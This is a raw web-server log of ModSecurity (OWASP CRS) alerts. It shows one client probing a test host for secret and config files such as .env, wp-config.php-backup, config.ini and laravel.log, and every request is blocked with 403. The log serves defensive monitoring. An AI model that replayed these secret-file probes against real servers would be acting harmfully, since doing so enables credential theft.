[Wed Feb 19 05:51:51.057527 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3gAAAAM&quot;]
[Wed Feb 19 05:51:51.057899 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3gAAAAM&quot;]
[Wed Feb 19 05:51:51.058448 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3gAAAAM&quot;]
[Wed Feb 19 05:51:51.148742 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:432/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:432/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3wAAAAM&quot;]
[Wed Feb 19 05:51:51.149128 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:432/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3wAAAAM&quot;]
[Wed Feb 19 05:51:51.149608 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:432/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3wAAAAM&quot;]
[Wed Feb 19 05:51:51.180421 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8000/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8000/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4AAAAAM&quot;]
[Wed Feb 19 05:51:51.180823 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8000/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4AAAAAM&quot;]
[Wed Feb 19 05:51:51.181291 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8000/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4AAAAAM&quot;]
[Wed Feb 19 05:51:51.204420 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8080/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4QAAAAM&quot;]
[Wed Feb 19 05:51:51.204833 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4QAAAAM&quot;]
[Wed Feb 19 05:51:51.205274 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw4QAAAAM&quot;]
[Wed Feb 19 05:51:51.601475 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7QAAAAM&quot;]
[Wed Feb 19 05:51:51.601881 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7QAAAAM&quot;]
[Wed Feb 19 05:51:51.602420 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7QAAAAM&quot;]
[Wed Feb 19 05:51:51.625407 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7gAAAAM&quot;]
[Wed Feb 19 05:51:51.625949 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7gAAAAM&quot;]
[Wed Feb 19 05:51:51.626454 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw7gAAAAM&quot;]
[Wed Feb 19 05:51:51.706206 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8QAAAAM&quot;]
[Wed Feb 19 05:51:51.706835 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8QAAAAM&quot;]
[Wed Feb 19 05:51:51.707293 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8QAAAAM&quot;]
[Wed Feb 19 05:51:51.732474 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lara/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Lara/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8gAAAAM&quot;]
[Wed Feb 19 05:51:51.732831 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Lara/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8gAAAAM&quot;]
[Wed Feb 19 05:51:51.733305 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Lara/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw8gAAAAM&quot;]
[Wed Feb 19 05:51:51.847259 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9gAAAAM&quot;]
[Wed Feb 19 05:51:51.847776 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9gAAAAM&quot;]
[Wed Feb 19 05:51:51.848255 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9gAAAAM&quot;]
[Wed Feb 19 05:51:51.873541 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9wAAAAM&quot;]
[Wed Feb 19 05:51:51.873992 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9wAAAAM&quot;]
[Wed Feb 19 05:51:51.874736 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw9wAAAAM&quot;]
[Wed Feb 19 05:51:51.897687 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-AAAAAM&quot;]
[Wed Feb 19 05:51:51.898087 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-AAAAAM&quot;]
